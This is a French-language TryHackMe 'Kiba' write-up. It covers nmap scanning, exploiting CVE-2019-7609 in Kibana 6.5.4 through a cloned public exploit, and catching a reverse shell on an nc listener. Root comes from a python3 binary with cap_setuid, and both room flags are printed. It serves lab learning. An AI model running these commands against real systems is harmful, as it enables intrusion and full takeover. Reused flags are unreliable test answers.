Kiba

Identify the critical security flaw in the data visualization dashboard, that allows execute remote code execution.

https://tryhackme.com/room/kiba

La vulnérabilité spécifique aux langages de programmation avec héritage basé sur des prototypes s’appelle Prototype Pollution. Cette vulnérabilité concerne surtout le langage JavaScript. Elle permet la création et modification de données.

Reconnaissance

root@ip-10-10-53-86:~# nmap -sC -sV 10.10.78.234

Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-19 19:29 GMT
Nmap scan report for ip-10-10-78-234.eu-west-1.compute.internal (10.10.78.234)
Host is up (0.015s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9d:f8:d1:57:13:24:81:b6:18:5d:04:8e:d2:38:4f:90 (RSA)
|   256 e1:e6:7a:a1:a1:1c:be:03:d2:4e:27:1b:0d:0a:ec:b1 (ECDSA)
|_  256 2a:ba:e5:c5:fb:51:38:17:45:e7:b1:54:ca:a1:a3:fc (EdDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 02:F6:29:3E:81:BB (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.98 seconds

Nous avons 2 ports ouverts: 22 et 80.

Regardons le navigateur.

Le code source ne nous révèle rien.

Gobuster ne nous indique aucun répertoire caché.

Refaisons un scan plus complet cette fois-ci.

Le titre du CTF est Kiba. On constate que c’est le port 5601 qui héberge Kibana. Allons jeter un oeil sur le navigateur.

La version 6.5.4 est utilisée.

La CVE-2019-7609 peut être utilisée avec cette version !

Les versions de Kibana antérieures à 5.6.15 et 6.6.1 contiennent une faille d’exécution de code arbitraire dans le visualiseur Timelion. Un attaquant ayant accès à l’application Timelion pourrait envoyer une requête qui tentera d’exécuter du code javascript. Cela pourrait éventuellement conduire un attaquant à exécuter des commandes arbitraires avec les autorisations du processus Kibana sur le système hôte.

On va donc utiliser cette CVE et récupérer le flag user.txt

On démarre un listener sur notre machine, puis on télécharge le code pour ce exploit et on l’exécute.

root@ip-10-10-53-86:~# git clone https://github.com/LandGrey/CVE-2019-7609.git
root@ip-10-10-53-86:~#  cd CVE-2019-7609
root@ip-10-10-53-86:~/CVE-2019-7609# 
python CVE-2019-7609-kibana-rce.py -u http://10.10.78.234:5601 -host 10.10.53.86 -port 4444 --shell
[+] http://10.10.113.146:5601 maybe exists CVE-2019-7609 (kibana < 6.6.1 RCE) vulnerability
[+] reverse shell completely! please check session on: 10.10.53.86:4444
root@ip-10-10-53-86:~# rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.53.56] from (UNKNOWN) [10.10.78.234] 45840
bash: cannot set terminal process group (980): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@ip-10-10-53-86:~#  ls -la /home
ls -la /home
total 12
drwxr-xr-x  3 root root 4096 Mar 31 10:41 .
drwxr-xr-x 22 root root 4096 Mar 31 17:13 ..
drwxr-xr-x  6 kiba kiba 4096 Mar 31 22:59 kiba
root@ip-10-10-53-86:~/home/kiba/kibana/bin#  cat /home/kiba/user.txt
cat /home/kiba/user.txt
THM{1s_easy_pwn3d_k1bana_w1th_rce}

On obtient le flag user.txt

Capabilities is a concept that provides a security system that allows "divide" root privileges into different values

Comment lister toutes ces « capabilities » ?

Nous pouvons les récupérer avec cette commande.

getcap -r /

En les listant, on trouve un fichier dans /home/kiba/.hackmeplease/

root@ip-10-10-53-86:~/home/kiba/kibana/bin# getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/home/kiba/.hackmeplease/python3 = cap_setuid+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep

On se reporte au site gtfobins pour trouver un moyen de passer en mode root.

root@ip-10-10-53-86:~/home/kiba/kibana/bin# /home/kiba/.hackmeplease/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
<please/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'         
id
uid=0(root) gid=1000(kiba) groups=1000(kiba),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)

Obtenons maintenant un meilleur shell et récupérons le flag root.

SHELL=/bin/bash script -q /dev/null
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@ubuntu:/home/kiba/kibana/bin# cat /root/root.txt
cat /root/root.txt
THM{pr1v1lege_escalat1on_us1ng_capab1l1t1es}